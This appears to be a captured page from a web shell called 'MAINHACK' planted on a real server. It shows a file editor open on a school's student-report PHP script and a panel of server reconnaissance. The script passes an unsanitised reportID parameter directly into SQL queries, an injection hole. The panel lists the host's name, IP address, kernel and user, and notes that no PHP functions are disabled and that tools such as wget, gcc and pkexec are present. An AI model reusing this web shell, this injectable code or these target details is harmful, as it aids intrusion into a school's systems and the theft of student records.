[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: student-report.php
<?php require("../student/fpdf/fpdf.php"); include("../functions.php"); $s_code = $_SESSION['s_code_Xw2119904']; if(isset($_GET['reportID'])){ $report = $_GET['reportID']; } $indexx = mysqli_query($new,"SELECT * FROM enrol_generic WHERE indexNo = '$report'"); $fetchsch = mysqli_fetch_array($indexx); $school_code = $fetchsch['s_code']; $student_name = $fetchsch['stud_name']; $stu_status = $fetchsch['status']; $academicyear = $fetchsch['academicyear']; $term = $fetchsch['sem']; $getlogo = mysqli_query($new,"SELECT * FROM schools WHERE school_code = '$school_code'"); $logocon = mysqli_fetch_array($getlogo); $logoo = $logocon['logo']; $school_name = $logocon['school_name']; $school_location = $logocon['school_location']; $phone_num = $logocon['phone_num']; $head_title = $logocon['head_title']; $school_email = $logocon['school_email']; $school_head = $logocon['school_head']; $indexx1 = mysqli_query($new,"SELECT * FROM enrol_details WHERE index_no = '$report' and s_code = '$s_code'"); $fetchschh = mysqli_fetch_array($indexx1); $photo = $fetchschh['photo']; $enrol_code = $fetchschh['enrol_code']; //$enrol_code = $fetchschh['enrol_code']; $getA = mysqli_query($new, "SELECT AVG(total_score) AS average_score FROM student_result WHERE index_number = '$report'"); $getdata = mysqli_fetch_array($getA); $avg = number_format($getdata['average_score'], 2); $indexx11 = mysqli_query($new,"SELECT * FROM admission_info WHERE s_code = '$s_code'"); $fetchschhh = mysqli_fetch_array($indexx11); $ACADEMIC = $fetchschhh['academic_year']; $studentD = mysqli_query($new,"SELECT * FROM enrol_details,class WHERE enrol_details.index_no = '$report' and enrol_details.class_id = class.cid"); $getinfo = mysqli_fetch_array($studentD); $c_name = $getinfo['class_name']; $classID = $getinfo['cid']; $classprog = mysqli_query($new,"SELECT * FROM programme,class WHERE class.program_id = programme.progid and class.cid = '$classID'"); $getclassprogg = mysqli_fetch_array($classprog); $programme = $getclassprogg['program_name']; $getHow = mysqli_query($new,"SELECT * FROM enrol_details,house WHERE enrol_details.house_id = house.hid and enrol_details.index_no = '$report'"); $hname = mysqli_fetch_array($getHow); $house_name = $hname['house_name']; $sql = "SELECT subject, class_score, exams_score, total_score, position, grading, remarks FROM student_result WHERE index_number = '$report' AND s_code = '$s_code'"; $result = $new->query($sql); // Check if there are results if ($result->num_rows > 0) { // Store subjects data in an array $subjects = []; while ($row = $result->fetch_assoc()) { $subjects[] = [ $row['subject'], // Subject name $row['class_score'], // Class Score (30%) $row['exams_score'], // Exam Score (70%) $row['total_score'], // Total Score (100%) $row['position'], // Position in subject $row['grading'], // Grading (A1, B3, etc.) $row['remarks'] // Remarks (Excellent, Good, etc.) ]; } // Create a new PDF instance $pdf = new FPDF(); $pdf->AddPage(); // Set header and fonts as before $pdf->SetFont('Arial', 'B', 16); $pdf->Cell(190, 10, "$school_name", 0, 1, 'C'); $pdf->SetFont('Arial', '', 12); $pdf->Cell(190, 5, "$school_location", 0, 1, 'C'); $pdf->Cell(190, 5, "E-mail: $school_email", 0, 1, 'C'); $pdf->Cell(190, 5, "TEL: $phone_num", 0, 1, 'C'); $pdf->Ln(10); $pdf->SetFont('Arial', 'B', 14); $pdf->Cell(190, 10, "STUDENT'S REPORT", 0, 1, 'C'); $pdf->Ln(5); // Student Info (You can fetch this dynamically as well) $pdf->SetFont('Arial', '', 12); $pdf->Cell(95, 10, "Student: $student_name", 0, 0); $pdf->Cell(95, 10, "Class/Level: $c_name", 0, 1); $pdf->Cell(95, 10, "Programme: $programme", 0, 0); $pdf->Cell(95, 10, "House: $house_name", 0, 1); $pdf->Cell(95, 10, "Academic Year: $academicyear", 0, 0); $pdf->Cell(95, 10, "Term: $term", 0, 1); $pdf->Cell(95, 10, "Average: $avg", 0, 0); // $pdf->Cell(95, 10, 'Position in Class: 28th', 0, 1); $pdf->Ln(10); // Table Headers for Subjects $pdf->SetFont('Arial', 'B', 12); $pdf->Cell(50, 10, 'SUBJECTS', 1); $pdf->Cell(20, 10, 'CLASS', 1); $pdf->Cell(20, 10, 'EXAM', 1); $pdf->Cell(20, 10, 'TOTAL', 1); $pdf->Cell(30, 10, 'POSITION', 1); $pdf->Cell(20, 10, 'GRADING', 1); $pdf->Cell(30, 10, 'REMARKS', 1); $pdf->Ln(); // Loop through each subject data and add it to the table $pdf->SetFont('Arial', '', 12); foreach ($subjects as $row) { $pdf->Cell(50, 10, $row[0], 1); // Subject $pdf->Cell(20, 10, $row[1], 1); // Class Score $pdf->Cell(20, 10, $row[2], 1); // Exam Score $pdf->Cell(20, 10, $row[3], 1); // Total Score $pdf->Cell(30, 10, $row[4], 1); // Position $pdf->Cell(20, 10, $row[5], 1); // Grading $pdf->MultiCell(30, 10, $row[6], 1); // Remarks } } $pdf->Ln(10); $pdf->SetFont('Arial', 'B', 12); $pdf->Cell(190, 10, 'GRADING SYSTEM', 0, 1, 'C'); $pdf->SetFont('Arial', '', 12); $pdf->Cell(95, 10, 'A1 = 80 - 100', 0, 0, 'C'); $pdf->Cell(95, 10, 'B3 = 60 - 69', 0, 1, 'C'); $pdf->Cell(95, 10, 'B2 = 70 - 79', 0, 0, 'C'); $pdf->Cell(95, 10, 'C4 = 55 - 59', 0, 1, 'C'); $pdf->Cell(95, 10, 'C5 = 50 - 54', 0, 0, 'C'); $pdf->Cell(95, 10, 'C6 = 45 - 49', 0, 1, 'C'); $pdf->Cell(95, 10, 'D7 = 40 - 44', 0, 0, 'C'); $pdf->Cell(95, 10, 'E8 = 35 - 39', 0, 1, 'C'); $pdf->Cell(95, 10, 'F9 = 0 - 33', 0, 1, 'C'); // Output PDF $pdf->Output(); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002